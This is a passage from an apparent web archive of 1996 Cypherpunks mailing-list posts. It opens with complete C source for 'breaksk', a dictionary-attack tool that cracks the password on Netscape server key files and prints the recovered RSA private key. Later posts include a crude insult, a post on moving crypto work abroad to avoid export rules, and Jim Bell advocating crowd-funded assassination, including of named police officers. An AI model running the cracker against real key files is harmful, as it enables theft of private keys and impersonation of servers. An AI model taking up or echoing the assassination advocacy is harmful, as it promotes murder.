] + A ); digest[ 1 ] = MASK32( digest[ 1 ] + B ); digest[ 2 ] = MASK32( digest[ 2 ] + C ); digest[ 3 ] = MASK32( digest[ 3 ] + D ); } /**************************************************************************** * * * MD5 Support Routines * * * ****************************************************************************/ /* The routine md5Initial initializes the message-digest context md5Info */ void md5Initial( MD5_INFO *md5Info ) { /* Clear all fields */ memset( md5Info, 0, sizeof( MD5_INFO ) ); /* Load magic initialization constants */ md5Info->digest[ 0 ] = 0x67452301L; md5Info->digest[ 1 ] = 0xEFCDAB89L; md5Info->digest[ 2 ] = 0x98BADCFEL; md5Info->digest[ 3 ] = 0x10325476L; /* Initialise bit count */ md5Info->countLo = md5Info->countHi = 0L; } /* The routine MD5Update updates the message-digest context to account for the presence of each of the characters buffer[ 0 .. count-1 ] in the message whose digest is being computed */ void md5Update( MD5_INFO *md5Info, BYTE *buffer, int count ) { LONG tmp; int dataCount; /* Update bitcount */ tmp = md5Info->countLo; if ( ( md5Info->countLo = tmp + ( ( LONG ) count << 3 ) ) < tmp ) md5Info->countHi++; /* Carry from low to high */ md5Info->countHi += count >> 29; /* Get count of bytes already in data */ dataCount = ( int ) ( tmp >> 3 ) & 0x3F; /* Handle any leading odd-sized chunks */ if( dataCount ) { #ifdef _BIG_WORDS BYTE *p = md5Info->dataBuffer + dataCount; #else BYTE *p = ( BYTE * ) md5Info->data + dataCount; #endif /* _BIG_WORDS */ dataCount = MD5_DATASIZE - dataCount; if( count < dataCount ) { memcpy( p, buffer, count ); return; } memcpy( p, buffer, dataCount ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); buffer += dataCount; count -= dataCount; } /* Process data in MD5_DATASIZE chunks */ while( count >= MD5_DATASIZE ) { #ifdef _BIG_WORDS memcpy( md5Info->dataBuffer, buffer, MD5_DATASIZE ); copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else memcpy( md5Info->data, buffer, MD5_DATASIZE ); littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); buffer += MD5_DATASIZE; count -= MD5_DATASIZE; } /* Handle any remaining bytes of data. */ #ifdef _BIG_WORDS memcpy( md5Info->dataBuffer, buffer, count ); #else memcpy( md5Info->data, buffer, count ); #endif /* _BIG_WORDS */ } /* Final wrapup - pad to MD5_DATASIZE-byte boundary with the bit pattern 1 0* (64-bit count of bits processed, MSB-first) */ void md5Final( MD5_INFO *md5Info ) { int count; BYTE *dataPtr; /* Compute number of bytes mod 64 */ count = ( int ) md5Info->countLo; count = ( count >> 3 ) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ #ifdef _BIG_WORDS dataPtr = md5Info->dataBuffer + count; #else dataPtr = ( BYTE * ) md5Info->data + count; #endif /* _BIG_WORDS */ *dataPtr++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = MD5_DATASIZE - 1 - count; /* Pad out to 56 mod 64 */ if( count < 8 ) { /* Two lots of padding: Pad the first block to 64 bytes */ memset( dataPtr, 0, count ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); /* Now fill the next block with 56 bytes */ #ifdef _BIG_WORDS memset( md5Info->dataBuffer, 0, MD5_DATASIZE - 8 ); #else memset( md5Info->data, 0, MD5_DATASIZE - 8 ); #endif /* _BIG_WORDS */ } else /* Pad block to 56 bytes */ memset( dataPtr, 0, count - 8 ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #endif /* _BIG_WORDS */ /* Append length in bits and transform */ md5Info->data[ 14 ] = md5Info->countLo; md5Info->data[ 15 ] = md5Info->countHi; #ifndef _BIG_WORDS littleToBigLong( md5Info->data, MD5_DATASIZE - 8 ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); md5Info->done = TRUE; } /**************************************************************************** * * * RC4 * * * ****************************************************************************/ /* If the system can handle byte ops, we use those so we don't have to do a lot of masking. Otherwise, we use machine-word-size ops which will be faster on RISC machines */ #if UINT_MAX > 0xFFFFL /* System has 32-bit ints */ #define USE_LONG_RC4 typedef unsigned int rc4word; #else typedef unsigned char rc4word; #endif /* UINT_MAX > 0xFFFFL */ /* The scheduled RC4 key */ typedef struct { rc4word state[ 256 ]; rc4word x, y; } RC4KEY ; /* Expand an RC4 key */ void rc4ExpandKey( RC4KEY *rc4, unsigned char const *key, int keylen ) { int x, keypos = 0; rc4word sx, y = 0; rc4word *state = &rc4->state[ 0 ]; rc4->x = rc4->y = 0; for( x = 0; x < 256; x++ ) state[ x ] = x; for( x = 0; x < 256; x++ ) { sx = state[ x ]; y += sx + key[ keypos ]; #ifdef USE_LONG_RC4 y &= 0xFF; #endif /* USE_LONG_RC4 */ state[ x ] = state[ y ]; state[ y ] = sx; if( ++keypos == keylen ) keypos = 0; } } void rc4Crypt( RC4KEY *rc4, unsigned char *data, int len ) { rc4word x = rc4->x, y = rc4->y; rc4word sx, sy; rc4word *state = &rc4->state[ 0 ]; while (len--) { x++; #ifdef USE_LONG_RC4 x &= 0xFF; #endif /* USE_LONG_RC4 */ sx = state[ x ]; y += sx; #ifdef USE_LONG_RC4 y &= 0xFF; #endif /* USE_LONG_RC4 */ sy = state[ y ]; state[ y ] = sx; state[ x ] = sy; #ifdef USE_LONG_RC4 *data++ ^= state[ ( unsigned char ) ( sx+sy ) ]; #else *data++ ^= state[ ( sx+sy ) & 0xFF ]; #endif /* USE_LONG_RC4 */ } rc4->x = x; rc4->y = y; } /**************************************************************************** * * * Driver Code * * * ****************************************************************************/ /* Various magic values in the key file */ static BYTE netscapeKeyfileID[] = { 0x04, 0x0B, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x2D, 0x6B, 0x65, 0x79 }; static BYTE rc4EncryptionID[] = { 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x03, 0x04, 0x05, 0x00 }; static BYTE version[] = { 0x02, 0x01, 0x00 }; static BYTE rsaPrivateKeyID[] = { 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00 }; /* General-purpose buffer. We make them static buffers to keep them off the stack on DOS/Win16 boxes */ static BYTE buffer[ 1024 ], temp[ 1024 ]; /* Print a key component */ int printKeyComponent( BYTE *buffer, char *title ) { int count, length = 0, totalLength = 2; printf( "%s = ", title ); if( *buffer++ != 0x02 ) { puts( "Bad data format in key component." ); return( 0 ); } /* Get the length of the component */ if( *buffer & 0x80 ) { count = *buffer++ & 0x7F; totalLength += count; while( count-- ) length = ( length << 8 ) | *buffer++; } else length = *buffer++; totalLength += length; /* Print the data */ for( count = 0; count < length; count++ ) printf( "%02X", buffer[ count ] ); putchar( '\n' ); return( totalLength ); } /* The main program */ int main( int argc, char *argv[] ) { FILE *keyFile, *dictFile; int count, length = 0; /* Check args and open the server key file */ if( argc != 3 ) { puts( "Usage: breaksk <server key file> <dictionary>" ); return( EXIT_FAILURE ); } if( ( keyFile = fopen( argv[ 1 ], "rb" ) ) == NULL ) { perror( argv[ 1 ] ); return( EXIT_FAILURE ); } /* Read the Netscape outer wrapper */ if( getc( keyFile ) != 0x30 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) getc( keyFile ); if( ( fread( buffer, 1, 13, keyFile ) != 13 ) || \ memcmp( buffer, netscapeKeyfileID, 13 ) ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } /* Read the PKCS #8 EncryptedPrivateKey wrapper */ if( getc( keyFile ) != 0x30 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) getc( keyFile ); if( ( fread( buffer, 1, 14, keyFile ) != 14 ) || \ memcmp( buffer, rc4EncryptionID, 14 ) ) { puts( "This doesn't look like an RC4-encrypted server key." ); exit( EXIT_FAILURE ); } /* Read the start of the EncryptedData field */ if( getc( keyFile ) != 0x04 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) length = ( length << 8 ) | getc( keyFile ); /* Read the encrypted RSAPrivateKey */ if( fread( buffer, 1, length, keyFile ) != length ) { puts( "Netscape server key file length fields are inconsistent." ); exit( EXIT_FAILURE ); } fclose( keyFile ); /* We've got the data we want, now rumble through the dictionary trying each key on it. First, make sure we can open the thing */ if( ( dictFile = fopen( argv[ 2 ], "r" ) ) == NULL ) { perror( argv[ 2 ] ); return( EXIT_FAILURE ); } while( TRUE ) { BYTE hashedPassword[ MD5_DIGESTSIZE ], *hashedPassPtr = hashedPassword; MD5_INFO md5Info; RC4KEY rc4key; char dictWord[ 100 ]; int dictWordLength, index; /* Get the next word from the dictionary */ if( fgets( dictWord, 100, dictFile ) == NULL ) { puts( "No more words in dictionary." ); break; } dictWordLength = strlen( dictWord ) - 1; dictWord[ dictWordLength ] = '\0'; /* Hash the word using MD5 */ md5Initial( &md5Info ); md5Update( &md5Info, ( BYTE * ) dictWord, dictWordLength ); md5Final( &md5Info ); for( index = 0; index < MD5_DIGESTSIZE / 4; index++ ) { mputLLong( hashedPassPtr, md5Info.digest[ index ] ); } /* Set up the RC4 key based on the hashed password */ rc4ExpandKey( &rc4key, hashedPassword, MD5_DIGESTSIZE ); /* Copy the data to a temporary buffer and try to decrypt it */ memcpy( temp, buffer, length ); rc4Crypt( &rc4key, temp, 22 ); /* Check for known plaintext */ if( temp[ 0 ] != 0x30 || !( temp[ 1 ] & 0x80 ) ) continue; index = 1; count = temp[ index++ ] & 0x7F; while( count-- ) index++; if( memcmp( temp + index, version, 3 ) ) continue; index += 3; if( memcmp( temp + index, rsaPrivateKeyID, 15 ) ) continue; /* We've found the password, display it and decrypt the rest of the key */ printf( "The password used to encrypt this Netscape server key " "is '%s'.\n\n", dictWord ); index += 15; rc4Crypt( &rc4key, temp + 22, length - 22 ); /* Skip the OCTET STRING encapsulation */ if( temp[ index++ ] != 0x04 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } count = temp[ index++ ] & 0x7F; while( count-- ) index++; /* Skip the inner SEQUENCE encapsulation */ if( temp[ index++ ] != 0x30 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } count = temp[ index++ ] & 0x7F; while( count-- ) index++; /* Skip the version number. NB: This encoding is incorrect and violates the ASN.1 encoding rules. It's strange that the outer version number is encoded correctly, but the inner one isn't */ if( temp[ index++ ] != 0x02 || temp[ index++ ] != 0x00 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } /* OK, now we've reached the key components. Print each one out */ index += printKeyComponent( temp + index, "Modulus" ); index += printKeyComponent( temp + index, "Public exponent" ); index += printKeyComponent( temp + index, "Private exponent" ); index += printKeyComponent( temp + index, "Prime 1" ); index += printKeyComponent( temp + index, "Prime 2" ); index += printKeyComponent( temp + index, "Exponent 1" ); index += printKeyComponent( temp + index, "Exponent 2" ); index += printKeyComponent( temp + index, "Coefficient" ); break; } fclose( dictFile ); return( EXIT_SUCCESS ); }

2 1

No Subject
by temanuel＠mecklermedia.com 17 Dec '03

17 Dec '03

Please take me off this list or send instructions for so doing. Tom Emanuel Vice President Publication Licensing, Mecklermedia Corporation, 20 Ketchum Street, Westport, CT 06880:fax: 203-454-5840; URL: http://www.iworld.com; temanuel(a)mecklermedia.com

1 0

A periodic word of caution regarding Timothy C[unt] May
by Squirrel Remailer 17 Dec '03

17 Dec '03

Timothy C[unt] May proves that the Midwestern gene pool needs some chlorine in it.

1 0

RE: your mail
by billc＠true.com 17 Dec '03

17 Dec '03

Likewise, please remove info@truecom from this list. ---------- From: Andrew Kantor[SMTP:ak@mecklermedia.com] Sent: Wednesday, September 25, 1996 2:58 PM To: John Norseen; Craig; Robert Steele Cc: news_from_wschwartau(a)infowar.com; Betty G. O'Hearn; Winn Schwartau Subject: Re: your mail I'm not sure what this list is or why I'm on it, but would whoever runs this thing please remove me or send removal instructions. Thanks. AK ------------------------------------------------------------ Andrew Kantor ak(a)iw.com Senior Editor, Internet World http://www.iw.com Otherwise, no one of consequence. http://www.kantor.com ------------------------------------------------------------ "Don't argue with the man who buys ink by the barrel."

1 0

Re: Re[2]: your mail
by probst＠iro.umontreal.ca 17 Dec '03

17 Dec '03

Well, obviously the distribution list is the entire P-TRAK database from Lexis/Nexis. :-) David K. Probst

1 0

Mitsubishi MISTY LSI
by jya＠pipeline.com 17 Dec '03

17 Dec '03

Nikkei English News, 24 September 1996. Mitsubishi unveils Japan's fastest encryption chip Mitsubishi Electric Corp. said it has developed an LSI that can encrypt data at a speed of 450 megabits per second, which is four times faster than any other encryption chip developed in Japan and brings domestic technology in line with DES, the U.S.-developed encryption system that has become the standard in the U.S. and Europe. Because the chip performs the same as DES, Mitsubishi will promote it as a domestic product for encryption needs in Japan, with an eye on the growing market for corporate intranets and high-speed data communications. It said it will prepare for volume production during this year. The company fabricated the chip as a gate array using a 0.5 micron CMOS process and its own proprietary encryption algorithm MISTY. Operating at a maximum input/output speed of 40 megahertz, the chip can handle 32 bits per clock cycle. [End]

2 1

Possible snake oil?
by Phil Fraering 17 Dec '03

17 Dec '03

I ran across this at the web site of a New Orleans area web authoring company. I checked with a friend of mine of long standing on this list, and he assured me that the information was probably false. (Here it is...) <begin included excerpt from web page) [deleted] has one of the fastest and most powerful web networks in the world, with servers effortlessly handling in excess of two million hits a day, and resources spanning four seperate backbone providers on two continents from North America to Europe. Entire networks at [deleted] are exclusively dedicated to web hosting, electronic commerce and other applications; separate servers are available with a plethora of advanced services including: SSL & SHTTP Encrypted Web Systems (using the maximum 1024-bit encryption keys) BSDI Unix 2.1 (our main net OS, proven to be superior to all), Windows NT, Windows 95, Macintosh, DOS, Linux and other platforms available. RealAudio, VDOLive, CuSeeMe servers RAID5 mirror networks in Europe Access to [deleted] Advanced Systems Products (IASP) servers and scripts exclusively available to [deleted] clients, which include shopping cart/automated ordering, web database systems, surveys & demographics, web page creation systems, ad & quote systems, and much more. ============= <end excerpt from corporate web page> Well? Do _any_ of you know of a 1024-bit encryption standard for the world wide web currently in use? According to these people, they're using it. ObLegalQuestion: Should I have been less coy about the corporation name? Phil Fraering The above is the opinion of neither my internet pgf(a)acadian.net service provider nor my employer. 318/261-9649

5 4

Re: SAY WHAT? [Assassination NOISE]
by jim bell 17 Dec '03

17 Dec '03

At 12:30 AM 9/25/96 -0700, Bill Stewart wrote: >Bell, like X, is proposing mechanism without built-in policy, >as well as suggesting some potential policy implementations. If you use >the mechanism to sponsor assassination of people who have initiated force >against you, you're only using retaliatory force, not initiating it. Funny that Simon didn't see that... >On the other hand, the mechanism also can be used against people who >haven't initiated force against the sponsor - even against politicians >who have refused to get the country into misguided but popular wars >or judges who have refused to convict innocent but wrong-colored defendants. That's a too-superficial interpretation. If AP were operating, it would be unnecessary to "get the country into misguided but popular wars" because anybody who wanted to war with some external enemy need merely kill him via AP, by individual donation. There would be no legislature to make the war decision, and no need for any such decision. War as we have known it (a collective decision that is binding on all citizens, whether or not they approve) would simply not exist. There would be no mechanism to force other people into a war on your side, other than rhetorical arguments. Attempting to do so by force would merely make more enemies. As for "judges who have refused to convict innocent but wrong-colored defendants"? I think that's an unfair and misleading "problem." Much of the problem of bias and discrimination in this country is caused by the fact that these factors have been institutionalized BY GOVERNMENT. Trace it back just a little, and you'll discover that the "innocent but wrong-colored defendants" were arrested and charged BY GOVERNMENT in a display of bias. At best, that courageous judge is merely ceasing, in one particular incident and too late, an episode of bias which shouldn't even have been started in the first place. Is this "good"? Not really. It's just "not quite as bad." There's still the underlying problem which will repeat ad infinitum. Why depend on a judge to do this? Why not fix the bias before the defendant gets to court? I look at it this way: Why shouldn't the black community (and any outraged whites, as well...) have been able to purchase the deaths of all of the LAPD officers who beat Rodney King, INCLUDING the ones who stood around and watched it happen? I claim that in a society where they could do this, such a beating simply would never have happened, because no cop would have dared to take the risk that a camera would be nearby. In other words, the problem would have been solved before it started. The quickest response to this is that "pretty soon, you won't have any more cops." But no, that's not true. It _is_ true that the thugs will no longer want to become/stay as cops, so that'll be a loss for the good. More likely, cops will simply stop doing those things that will end up offending a substantial fraction of the population, like beating a carload illegal immigrants that they have stopped after a car chase. >Like democracy, it's a really terrible system, and like democracy, >there are some alternatives that aren't worse :-) Maybe even democracy. >It's at least as appalling an idea as government. > >If it does catch on, and I suspect that the technology will certainly >make it possible, I hope that most of the public will have enough sense >and decency not to pay for murdering people who don't deserve it, >so assassins will find more of a market for killing people who do, >and that the lower-paid assassins who kill undeserving people will >be less competent and get caught like most stupid bank robbers do. > >But there are enough Drug-War-Loving Americans that I doubt it. The de-facto drug war won't end instantly after the adoption of AP, but it will be pretty quick. Instead of today, when every citizen is forced through taxation to support the Drug War, this will probably drop to 25% voluntary contributions or less post AP. It's pretty hard to get enthused about a victimless crime, and likewise it's hard to enforce such rules, so people's donations won't match the pre-AP funding. Classic drug-warriors won't dare spread any of their propaganda; people's memories will still be fresh on the pre-AP abuses, so the Bennetts and the Rangels will either be silent or dead, or effusive with apology for their prior behavior. Further, the dramatic drop in the prices of currently-illegal drugs will translate into a similarly large drop in crimes to pay for those drugs, an improvement that everybody will notice. >And attila replied >> all very true. but I will defend Jim Bell's rights to propose >> them, even if Bell is more than a few cards short of a full deck. > >Sure, he's got the right to, and if I run a remailer again he's welcome >to use it to discuss AP (though not to propose assassinations....) >Doesn't mean I want to encourage this sort of thing, though. >Remailers can damn well afford to be choosy, and I'll bet >5 zorkmids that the first person to use my remailer for assassination >doesn't last a month. (Oh, wait...) "Your bet has been duly recorded, sir." <beep!> Jim Bell jimbell(a)pacifier.com

1 0

Re: Where to write crypto?
by azur＠netcom.com 17 Dec '03

17 Dec '03

>On Tue, 24 Sep 1996, Steve Schear wrote: > >> I believe Taiwan might be an excellent location to have 'clear room' crypto >> work done. Taiwan has a very large skilled software labor pool and isn't a >> member of COCOM. >Why go so far, when you can export crypto from Anguila or Canada. The >first is right next to Florida and is a tax haven, the second has a large >talent pool and the same qulity telecom as the States. The main problem is >concealing the fact that there may be any Americans involved. Both save >you the trouble of learning Chinese. I didn't mean that an U.S. citizen should relocate and develop in Taiwan. Why do that when almost all Taiwanese CS speak, read and write fluent english. Just develop the specs and contract for programming. There are many companies waiting to take you business . BTW, there a several U.S. companies (e.g., Typhoon Software, typhoon(a)typhoon.com) which can manage the development of a wide variety of software projects (including crypto code) by highly qualified personel in the former Soviet Republics. For comfort, the software can be tested in the U.S. (just to make sure no trapdoors have been insered by the Russian Mafia ;-) -- Steve

1 0

Dyson on anonymity (in WSJ article on our challenge to GA net law)
by Stanton McCandlish 17 Dec '03

17 Dec '03

FYI: [...] Esther Dyson, president of high-tech publisher EDventure Holdings Inc. and chairwoman of the Electronic Frontier Foundation, a high-tech civil liberties organization that is a co-plaintiff in the lawsuit, calls the Georgia law "brain-damaged and unenforceable," and adds: "How are they going to stop people from using fake names? Anonymity shouldn't be a crime. Committing crimes should be a crime." [...] -- <HTML><A HREF="http://www.eff.org/~mech/"> Stanton McCandlish </A><HR><A HREF="mailto:mech@eff.org"> mech(a)eff.org </A><P><A HREF="http://www.eff.org/"> Electronic Frontier Foundation </A><P> Online Activist </HTML>

2 1

EFF declaration/affidavit in support of anonymity in GA case.
by Stanton McCandlish 17 Dec '03

17 Dec '03

Full text (with some scannos, but it's readable) in next message. Enough about "lies". We're not just talkin' the talk, we're walkin' the walk too. Also, we are negotiating final details on assisting Julf with a legal defense fund for anon.penet.fi's troubles. -- <HTML><A HREF="http://www.eff.org/~mech/"> Stanton McCandlish </A><HR><A HREF="mailto:mech@eff.org"> mech(a)eff.org </A><P><A HREF="http://www.eff.org/"> Electronic Frontier Foundation </A><P> Online Activist </HTML>

1 0

Re: your mail
by John Norseen 17 Dec '03

17 Dec '03

robert, good to hear from you again...what else is new and exciting on your front...norseen

2 1

Re: Uses of Computational Chaos
by E. Allen Smith 17 Dec '03

17 Dec '03

From: IN%"adamsc(a)io-online.com" "Chris Adams" 17-SEP-1996 15:12:13.73 >Supposing, too, that you know these weaknesses, would using separate algorithms >for different portions of the number work well? That would seem to be a possibility; admittedly, the local copy of AC has been checked out for the past year, so I haven't been able to take a look at it. I'd tend to think that if you _know_ the flaw, one could come up with a better way to deal with it than the generalized method I discussed. For instance, if the MSB of bytes coming out of a scribble window is too low in entropy, only use it XORed or whatever with a more-random bit. -Allen

1 0

Re: ISPs' information on users
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 2:43 PM 9/25/96, Phil Fraering wrote: >On Tue, 24 Sep 1996, Timothy C. May wrote: > >> (There's a certain new ISP with tight links to a quasi-religious group much >> in the news lately, and some have speculated that this ISP may be >> monitoring certain users....) >> >> --Tim May > >Which ISP and religious group is this? Just why do you think I was elliptical in my comments? To type three lines instead of just typing the name? Think about it. With Webcrawlers looking for names of organizations--and the Cypherpunks archives show up on such searches--and with some organizations being very quick to sue for perceived defamation.... --Tim May We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1,257,787-1 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

2 1